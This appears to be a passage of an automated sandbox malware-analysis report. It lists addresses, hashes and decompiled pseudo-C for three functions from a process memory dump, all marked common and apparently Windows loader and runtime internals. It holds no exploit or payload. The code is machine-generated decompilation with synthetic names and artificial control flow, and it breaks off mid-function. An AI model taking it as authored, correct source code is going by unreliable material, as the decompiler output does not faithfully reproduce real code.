0x0128dc29
0x0128dc2b
0x00000000
0x00000000
0x0128dc31
0x0128dc34
0x0128dc36
0x0128dcbf
0x0128dcbf
0x0128dcc2
0x00000000
0x0128dc3c
0x0128dc41
0x0128dc43
0x00000000
0x0128dc45
0x0128dc45
0x0128dc47
0x00000000
0x0128dc4d
0x0128dc4d
0x0128dc50
0x0128dc52
0x0128dc55
0x0128dcfa
0x0128dcfe
0x0128dd08
0x0128dd0a
0x0128dd0c
0x00000000
0x0128dd12
0x0128dd15
0x0128dd2d
0x0128dd2f
0x0128dd32
0x0128dd35
0x00000000
0x0128dd35
0x0128dc5b
0x0128dc5b
0x0128dc5e
0x0128dc61
0x0128dc64
0x0128dc67
0x0128dc67
0x0128dc6a
0x0128dc6c
0x0128dc8e
0x0128dc8e
0x0128dc91
0x0128dc93
0x0128dcce
0x0128dcce
0x0128dc95
0x0128dc9c
0x0128dc6e
0x0128dc72
0x0128dc75
0x0128dc77
0x0128dc79
0x012db551
0x012db551
0x00000000
0x0128dc7f
0x0128dc7f
0x0128dc81
0x00000000
0x0128dc83
0x0128dc86
0x0128dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x0128dc88
0x0128dc81
0x0128dc79
0x0128dc6c
0x0128dc55
0x0128dc47
0x0128dc43
0x00000000
0x0128dc36
0x0128dc23
0x00000000
0x0128dbff
0x0128dbf1
0x0128dbdf
0x0128db8f
0x0128db92
0x0128db95
0x00000000
0x00000000
0x00000000
0x00000000
0x0128db95
0x0128db8d
0x0128db85
0x0128db74
0x0128dc9f
0x0128dca2
0x0128dcb0
0x0128dcb0
0x0128dad1
0x012db4e5
0x012db4c8
0x00000000
0x00000000
0x00000000
0x0128d831
0x00000000
0x0128d800
0x012db47f
0x012db485
0x00000000
0x012db485
0x0128d665
0x0128d652
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4123651d602b93ce376a32c88f11f1573ca39103f91244edf65c5318152cbe2
Instruction ID: 852eb1414fb988eea02d8c7351ac9e0d9361b1f786a73f0d21f4bee5499cf746
Opcode Fuzzy Hash: f4123651d602b93ce376a32c88f11f1573ca39103f91244edf65c5318152cbe2
Instruction Fuzzy Hash: 58E1F230A2235ECFEB25EF68C850BB9B7B5BF46308F0541A9DA09972D1DB709985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0128849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0128849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x134f9c0);
				E012CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x1367b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E0128CEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E01292280( *[fs:0x30], 0x1368550);
						_t139 =  *0x1367b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E012AF3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E0128FFB0(_t193, _t235, 0x1368550);
								L5:
								return E012CD130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E01271C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x1367b9c; // 0x0
							_t235 = L01294620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x1367b10; // 0x0
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E012AA61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E0128FFB0(_t193, _t235, 0x1368550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L012977F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L012977F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x1367b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x1367b10; // 0x0
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E012B37C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x1367b9c; // 0x0
									_t214 = L01294620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E012B37F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x1367b10 =  *0x1367b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x1367b04 =  *0x1367b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L012977F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L012977F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x1367b08 =  *0x1367b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E012B57C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E012BF3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L012977F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E012AA44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L012977F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E012B96C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x0128849b
0x0128849b
0x0128849b
0x0128849b
0x0128849d
0x012884a2
0x012884a7
0x012884b1
0x012884d8
0x00000000
0x012884b3
0x012884c4
0x012884c9
0x012884cd
0x012884cf
0x012884cf
0x012884d6
0x012884e6
0x012884e9
0x012884ec
0x012884ef
0x012884f2
0x012884f4
0x012884fc
0x01288501
0x01288506
0x01288509
0x012886e0
0x012886e5
0x012886e8
0x012886ed
0x012886f0
0x012886f2
0x012d9afd
0x012d9b02
0x012884da
0x012884df
0x012884df
0x012886fa
0x012886fd
0x012886fe
0x01288701
0x01288706
0x01288709
0x0128870b
0x00000000
0x00000000
0x01288711
0x01288725
0x01288727
0x0128872a
0x0128872c
0x012d9af0
0x012d9af5
0x01288732
0x01288732
0x01288732
0x01288735
0x01288737
0x01288515
0x01288515
0x01288518
0x0128851d
0x01288523
0x01288527
0x0128852b
0x01288537
0x01288539
0x0128853c
0x0128853e
0x0128868c
0x01288691
0x01288699
0x0128869b
0x01288744
0x01288748
0x012886a1
0x012886a1
0x012886a1
0x012886a4
0x012886a8
0x012d9bdf
0x012d9bdf
0x012886ae
0x012886b0
0x00000000
0x012886b6
0x00000000
0x012d9be9
0x012886b0
0x01288544
0x0128854a
0x0128854d
0x01288551
0x0128876e
0x01288778
0x0128877b
0x01288780
0x01288557
0x01288557
0x0128855d
0x0128855d
0x0128856b
0x0128856e
0x01288570
0x01288573
0x01288576
0x01288576
0x01288579
0x0128857b
0x00000000
0x00000000
0x01288581
0x012885a0
0x012885a2
0x012885a5
0x012885a7
0x012d9b1b
0x012d9b1b
0x0128862e
0x0128862e
0x01288631
0x01288631
0x01288634
0x01288636
0x01288669
0x01288669
0x0128866b
0x012d9bbf
0x012d9bc4
0x012d9bc8
0x012d9bce
0x012d9bce
0x01288671
0x01288671
0x01288674
0x01288676
0x012d9bae
0x012d9bae
0x01288676
0x0128867c
0x0128867e
0x01288688
0x01288688
0x00000000
0x0128867e
0x01288638
0x01288638
0x0128863b
0x0128863e
0x0128863f
0x01288642
0x01288645
0x01288648
0x0128864d
0x012d9b69
0x012d9b6e
0x012d9b7b
0x012d9b81
0x012d9b85
0x012d9b89
0x012d9ba7
0x012d9b8b
0x012d9b91
0x012d9b9a
0x012d9b9f
0x012d9b9f
0x01288788
0x0128878d
0x01288763
0x01288763
0x01288766
0x00000000
0x01288766
0x012d9b70
0x00000000
0x012d9b70
0x01288656
0x0128865a
0x0128865c
0x01288752
0x01288756
0x00000000
0x00000000
0x0128875e
0x00000000
0x0128875e
0x01288662
0x01288662
0x01288662
0x01288666
0x00000000
0x01288666
0x012885b7
0x012885b9
0x012885bc
0x012885bf
0x012885cc
0x012885d1
0x012885d4
0x012885db
0x012885de
0x012885e0
0x012d9b5f
0x00000000
0x012d9b5f
0x012885e6
0x012885ea
0x012886c3
0x012886c5
0x012886c8
0x012886ca
0x012d9b16
0x00000000
0x012d9b16
0x012886d6
0x012885f6
0x012885f6
0x012885f9
0x01288602
0x01288606
0x0128860a
0x0128860b
0x0128860e
0x01288611
0x00000000
0x01288611
0x012885f3
0x00000000
0x012885f3
0x01288619
0x0128861e
0x0128861e
0x01288621
0x01288622
0x01288623
0x01288625
0x0128862c
0x00000000
0x0128873d
0x00000000
0x0128873d
0x01288737
0x0128850f
0x01288512
0x00000000
0x01288512
0x00000000
0x012884d6

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ef798a972c40ab5df34740c6577340804e686fc13c87f01554fb85dea4ee906
Instruction ID: 1a2e57dd4a8a2d11a2dae8652106cbc28ffa47d27a9a24c9867caa91505da7a5
Opcode Fuzzy Hash: 0ef798a972c40ab5df34740c6577340804e686fc13c87f01554fb85dea4ee906
Instruction Fuzzy Hash: 2EB17075E2121ADFDF29EF99C980AADBBB9FF44308F504129E605AB385D770A841CF50

Uniqueness

Uniqueness Score: -1.00%

Function 012A513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E012A513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x136d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E012BD0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E01292280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L01294620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E012BF3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E0128FFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x136b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E012BB640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x012a5142
0x012a514c
0x012a5150
0x012a5157
0x012a5159
0x012a515e
0x012a5165
0x012a5169
0x012a516c
0x012a5172
0x012a5176
0x012a517a
0x012a517a
0x012a517a
0x012a517f
0x012e6d8b
0x012e6d8e
0x012e6d91
0x012e6d95
0x012e6d98
0x012e6d9c
0x012e6da0
0x012e6da3
0x012e6da7
0x012e6e26
0x012e6e26
0x012e6e2a
0x012a51f9
0x012a51f9
0x012a51fe
0x012e6e33
0x012e6e33
0x012e6e39
0x012e6e3d
0x012e6e46
0x012e6e50
0x00000000
0x00000000
0x012e6e52
0x012e6e53
0x012e6e56
0x012e6e5d
0x00000000
0x00000000
0x00000000
0x012e6e5f
0x012e6e67
0x012e6e77
0x012e6e7f
0x012e6e80
0x012e6e88
0x012e6e90
0x012e6e9f
0x012e6ea5
0x012e6ea9
0x012e6eb1
0x012e6ebf
0x00000000
0x00000000
0x012e6ecf
0x012e6ed3
0x00000000
0x00000000
0x012e6edb
0x012e6ede
0x012e6ee1
0x012e6ee8
0x012e6eeb
0x012e6eed
0x012e6ef0
0x012e6ef4
0x012e6ef8
0x012e6efc
0x00000000
0x00000000
0x012e6f0d
0x012e6f11
0x012e6f32
0x012e6f37
0x012e6f3b
0x012e6f3e
0x012e6f41
0x012e6f46
0x00000000
0x00000000
0x012e6f4c
0x012e6f50
0x012e6f50
0x012e6f54
0x012e6f62
0x012e6f65
0x012e6f6d
0x012e6f7b
0x012e6f7b
0x012e6f93
0x012e6f98
0x012e6fa0
0x012e6fa6
0x012e6fb3
0x012e6fb6
0x012e6fbf
0x012e6fc1
0x012e6fd5
0x012e6fda
0x012e6fda
0x012e6fdd
0x012e6fe2
0x012e6fe7
0x012e6feb
0x012e6fef
0x012e6ff3
0x012a520c
0x012a520c
0x012a520f
0x012a5215
0x012a5234
0x012a523a
0x012a523a
0x012a5244
0x012a5245
0x012a5246
0x012a5251
0x012a5251
0x012e6f13
0x012e6f17
0x012e6f17
0x012e6f18
0x012e6f1b
0x012e6f1f
0x012e6f23
0x00000000
0x012e6f28
0x012a5204
0x012a5204
0x012a5208
0x00000000
0x012a5208
0x012a5185
0x012a5188
0x012a518a
0x012a518e
0x012a5195
0x012e6db1
0x012e6db5
0x012e6db9
0x012a519b
0x012a519b
0x012a519e
0x012a51a7
0x012a51a9
0x012a51a9
0x012a51b5
0x012a51b8
0x012a51bb
0x012a51be
0x012a51c1
0x012a51c5
0x012a51c9
0x012a51cd
0x012a51cd
0x012a51d8
0x012a51dc
0x012a51e0
0x012e6dcc
0x012e6dd0
0x012e6dd5
0x012e6ddd
0x012e6de1
0x012e6de1
0x012e6de5
0x012e6deb
0x012e6df1
0x012e6df7
0x012e6dfd
0x012e6e01
0x012e6e05
0x012e6e09
0x012e6e0d
0x012e6e11
0x012e6e11
0x012a51eb
0x012e6e1a
0x012e6e1f
0x012e6e21
0x012e6e23
0x00000000
0x012a51f1
0x012a51f1
0x00000000
0x012a51f1

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04184a340ca2338afd71073c16edcc0113558955bda16cb39c16852504206dd8
Instruction ID: 3c2a19eba0a0be42d76842cf8b19fa6e23e269c8782a712a720a472e4ee01e7b
Opcode Fuzzy Hash: 04184a340ca2338afd71073c16edcc0113558955bda16cb39c16852504206dd8
Instruction Fuzzy Hash: 09C123755183818FD354CF28C580A6AFBF1BF88304F588A6EF9998B392D771E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 012A03E2, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E012A03E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x136d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E012A0548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E012BB640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E0128B02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x1367c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E01297D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E01297D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E012F7016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E012B9830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E012F69A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
